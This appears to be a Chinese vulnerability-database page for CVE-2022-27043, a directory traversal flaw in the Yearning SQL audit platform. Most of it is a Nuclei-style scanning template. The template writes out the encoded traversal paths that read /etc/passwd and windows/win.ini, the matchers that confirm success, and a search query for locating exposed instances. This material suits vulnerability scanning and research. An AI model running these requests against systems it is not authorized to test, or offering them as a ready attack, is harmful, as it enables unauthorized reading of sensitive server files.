CVE-2022-27043: Yearning - Directory Traversal

日期: 2025-08-01 | 影响软件: Yearning | POC: 已公开

漏洞描述

Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning.

PoC代码[已公开]

id: CVE-2022-27043

info:
  name: Yearning - Directory Traversal
  author: Co5mos
  severity: high
  description: |
    Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning.
  reference:
    - https://github.com/jimdx/YEARNING-CVE-2022-27043/blob/main/README.md
    - http://yearning.io/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27043
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-27043
    cwe-id: CWE-22
    epss-score: 0.20915
    epss-percentile: 0.95433
    cpe: cpe:2.3:a:yearning:yearning:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: yearning
    product: yearning
    fofa-query: app="Yearning"
  tags: cve,cve2022,yearning,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd"
      - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body) || contains_all(body, '[fonts]', 'for 16-bit app support')"
          - "contains(content_type, 'text/plain')"
          - "status_code == 200"
        condition: and
# digest: 4b0a0048304602210099da73577f10e15b3217f09c74265a1dcbb00b6b2d2c42367620b6ddaf47e530022100c7b09f4d3472620790e7faa65965f6426948235ce71b8e15df838c469557d6f8:922c64590222798bb761d5b6d8e72950

相关漏洞推荐